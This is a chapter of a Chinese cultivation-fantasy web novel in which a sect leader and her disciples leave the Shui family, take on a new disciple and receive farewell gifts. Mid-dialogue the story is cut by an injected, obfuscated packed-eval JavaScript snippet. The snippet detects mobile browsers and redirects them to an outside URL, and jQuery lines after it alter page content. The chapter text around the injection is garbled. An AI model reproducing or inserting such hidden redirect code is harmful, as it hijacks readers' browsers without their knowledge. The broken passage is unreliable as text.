96. 离开水家
作品:《莫怕,为师在路上了。》 “师父……师父……”
室内耀目的金光持续迸发了两个时辰,而后缓缓弥散,最后才重归往常模样。
床榻上辗转反侧的男修如梦魇缠身,低低呻吟,模样痛苦,身上衣物也被汗水浸透;
剧烈挣扎间,他的衣襟散开,覆在左半张脸上的面具也随之掉落,那些被衣物掩住的大片黑色纹路瞬间暴露出来,看着狰狞又恐怖。
要是叫旁人看了去,定要惊怖交加、躲避不及
———这分明是堕落邪修的烙印!
而坐在床边的女修,凝望着这名邪修,却是愁容满面,轻轻叹息:
“光系术法的滋养成效大减,连最初的一成水准都够不着了。”
一阵沉默后,玉芥子空间内玄德真人冷不丁出声。
“你真想好了?”
“嗯。”
“哼,随你。”
玄德真人抛下一句,便彻底没了声响。
穆良朝掐了个清洗术的法诀,将榻上男修汗湿的身子打理得干干净净。
她替他拢好敞开的衣物,又捡起滚落枕边的面具,握在手里细细擦拭。
忽地,床榻上的男修惊醒,盯着她手中的面具,面露惊恐,旋即条件反射地捂住左脸,想将那恶心的黑色纹路和没有瞳孔的紫色眼睛藏在暗处。
他死命地蜷缩向床榻内侧,忽地,一只温热的手轻抚上了他的臂膀。
“望月谢谢你……”
穆良朝板正他的身体,透过他慌乱的眼睛,直视着他脆弱的灵魂,像旧时一般一下一下抚摸他的头发,终于将惊慌的他安抚下来,才缓缓开口道:
“不要怕。数万年的漫长岁月,你一个人一定很寂寞、很煎熬吧。现在……我们一起回家,去找回你的师兄师姐,还有那群可恶的老家伙们……”
“回去?”
英夫人看着过来辞别的玄霄宗一行人非常惊讶:
“你们就要回去了吗?我水家虽没什么拿得出手的长物,却也占着一处灵脉,灵气供给还算充裕,穆宗主不妨多留些时日,想住多久都无妨。”
穆良朝道:“多谢英夫人好意,不过我等去意已决。”
她对季长怀和弟子们承诺,去寻找自家宗门的灵脉。
宗主既已作出决定,其他人虽满心不解与不舍,也只能随行。
穆良朝将水家赠予的院落钥匙搁置在英夫人面前,微笑里透着感激:
“玄霄宗谢过水家多年照拂,只是此番一别,往后怕是再难踏足此地了。”
英夫人疑惑:“苍翠山离邕城不算太远。”
“不,不是苍翠山。”
穆良朝笑着摇了摇头,转眼望向门外,目光好似穿过千山万水,道:
“是更远的地方……”
穿过茫茫云海,再穿过那片凶险万分、九死一生的煞海,远得望不见尽头的彼岸,便是她生活了数万年、最终魂归的地方。
她愤恨、不甘、痛苦,她归心似箭,更何况,望月已经等不起了。
英夫人深深看了她一眼,不再多言,慈祥的目光扫过那七个自来到水家后长成翩翩少年郎的孩子,将钥匙重新塞回她掌心,笑道:
“穆宗主,你且收下,不必与老身客气。记住,无论何时何地,玄霄宗在我水家,永远都有一席之地。”
穆良朝躬身长揖,不再多言。
第二日,穆良朝一行人选择天未亮时悄悄离开。
他们踏着微弱的星光,一步三回头地走出了一住便是十年的院落。
此时,整个水府都静悄悄的。
谁知他们刚朝着水府大门的方向走去,前方的光亮便越来越盛,将沿途的草木照得格外清晰;
他们惊讶地抬眼望去,只见水家弟子提着灯笼密密麻麻地站在门前,显然早已等候多时。
“穆宗主!”
“季长老!”
“石师兄!”
……
水家弟子一见他们,便带着浓浓的不舍围了上来,原本寂静的夜里瞬间喧闹起来。
就连英夫人和水家主也都在。
英夫人郑重道:“我们特地在此等候,为诸位饯行。虽不知你们要奔赴何处、要去做什么,但能断定此行艰险异常。你们只管放心去,不管将来如何,水家的门永远为你们留着。”
闻言,穆良朝不知该作何表达,唯有躬身,毕恭毕敬向水家人行上一礼。
“出来吧。”
英夫人突然看向左侧,无奈出声。
只听得左侧大树后面一阵窸窸窣窣,片刻,从黑暗里走出了一个背着行囊的少年。
众人定眼一瞧,这人可不正是水小公子么?
水小公子踌躇上前,心虚地看了一眼母亲和父亲,尔后又一挺胸膛,后退一步,“噗通”一声向父母亲重重跪下,态度坚决:
“孩儿不孝,此生不愿再躲在家族的羽翼之下,做个碌碌无为的纨绔子弟。孩儿恳请随季大哥他们外出闯荡,增长见识,锤炼一番!”
说罢,便朝父母亲重重一磕头。
没等父母应声,他又转向季长怀与穆良朝,重重磕了一个响头,俯身跪伏在地,恳切求道:
“望季长老能收我为徒,允我随行历练,我定不会拖累大家!”
季长怀讶然,自知修为浅显,天赋更是一般,水宴之这般双灵根的好苗子,就算要拜穆良朝为师,也万万轮不到自己,当下不由得面露难色,有些窘迫地看向英夫人夫妇。
哪料,英夫人走近,恭敬地朝季长怀作一揖,丝毫没有责怪他“拐跑”幼子,道:
“犬子资质驽钝,行事毛躁莽撞,又素来不知天高地厚,最是爱惹是生非,还望季长老莫要嫌弃,肯收留这顽劣逆子,我水家定当感激不尽!”
穆良朝沉默,退至一旁,看季长怀自己定夺。
季长怀被水小公子那满含孺慕的灼灼目光弄得手足无措,不由得抬眸,探询地朝水家主投去一瞥。
奇怪,素来格外轻视他的水家主,这次也闭口不言,显然已经默许儿子的所作所为。
季长怀思忖片刻,上前将格外激动的水小公子扶起,轻轻拍拍他的后背。
玉芥子空间内,宝塔第一层陈列着一百多座古旧灯托,不少已斑驳破损,中央孤零零立着十三簇魂火,焰势熊熊。
那是代表玄霄宗弟子身份的魂灯。
在这个虫鸣喧嚣的夜晚,第十四簇蓝紫色的魂火腾地燃起,在这个古老、残损的灯托上摇曳起舞。
“师父!”水小公子朝季长怀郑重一拜,兴奋得面红耳赤。
“走吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150803|185316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
天快亮了,穆良朝催促道。
一行人刚踏出水家大门,忽地身后传来几个水家女弟子的高声呼唤。
“穆宗主请留步!”
水小西气喘吁吁地追上,身后还跟着几个女弟子,个个面色红润,眼睛亮得惊人,飞快地将手中的篮子推到穆良朝怀里。
篮子里的是几件衣衫。
穆良朝拿出一件,用手一抖便将其展开,火把的光亮瞬间将衣衫的全貌照得清清楚楚,她惊愕地睁大了双眼。
夜风吹过,手中衣物猎猎翻飞,其上龙纹似要挣脱束缚,呼啸着腾云而去。
干干净净,完完整整的,不带一丝血迹的天青色龙纹道袍。
意气飞扬,恍惚间,一声接着一声的“宗主”仿佛又在她耳畔响起,吵吵闹闹。
“这是咱们大小姐设计的。”
水小西笑道:“穆宗主您说您最钟爱天青色和龙纹,您瞧瞧这身宗门服饰,怎么样?我们赶制了一个晚上,还需要哪里改改?”
穆良朝抚摸着上头的龙纹,沉默良久,没有只言片语,但她微颤的长睫和眼底隐隐约约的水光,早已回答了一切。
似有所感,她猛的抬头朝西南方向望去。
穿过层层交错的林枝,远处楼阁之上,一道窈窕倩影正凭栏而立,目光遥遥望向大门方向。
“小姐不去送送穆宗主他们?”她身旁一个丫鬟问道。
水晴柔缓缓收回远眺的目光,轻轻地摇摇头,又在这楼阁之上静立了许久,直至天亮才独自回了内室,合上了房门。
她静坐桌前,轻抚着怀中的《映月心法》,只觉掌心滚烫。
心法共分十卷,每一卷的封皮上,都印着古朴的龙纹与“玄霄宗”三个苍劲大字。
这是穆良朝临走前赠给她的。
这是你们玄霄宗内门心法,就这么随随便便赠给我这个外宗人?不怕我外泄出去?
她非常不可思议,而穆良朝的回答让她更不可思议,她道:
“这本就是属于你的东西,只是物归原主罢了。好好修炼,莫要再自暴自弃。”
桌上还有一大沓上等符咒,尽是季长怀亲手绘制的,每一种都分门别类,整理得整整齐齐。
水小公子和玄霄宗一等人终是离开了,据说是要去很远很远的地方。
少了他们,整个水府安静了不少,唯一不变的,是弟子们昼夜不息、疯狂修炼的劲头。
水家夫妇刚送走了玄霄宗师徒,才回屋,忽地一个弟子慌慌张张地跑了进来。
“英夫人!英夫人!家主!家主!”
水家主大声呵斥:“究竟什么事,让你这般慌张?”
“不是……”那弟子缩了缩脖子,眼底的激动却怎么也藏不住,手忙脚乱地将怀中一物捧给英夫人,连说话都语无伦次起来。
“这、这本秘籍是穆宗主留下来的!我打扫的时候,在他的桌案上发现的!宗主他……还留了一张字条!”
英夫人指尖微颤地翻开秘籍,只见里面记载的术法精妙绝伦,属于顶尖心法,沉淀着千万年的底蕴。
她随即接过那张字条,目光扫过其上的字迹,霎时间热泪盈眶。
字条上写道:
“砺身修心,祈水府日久弥坚——玄霄宗。”

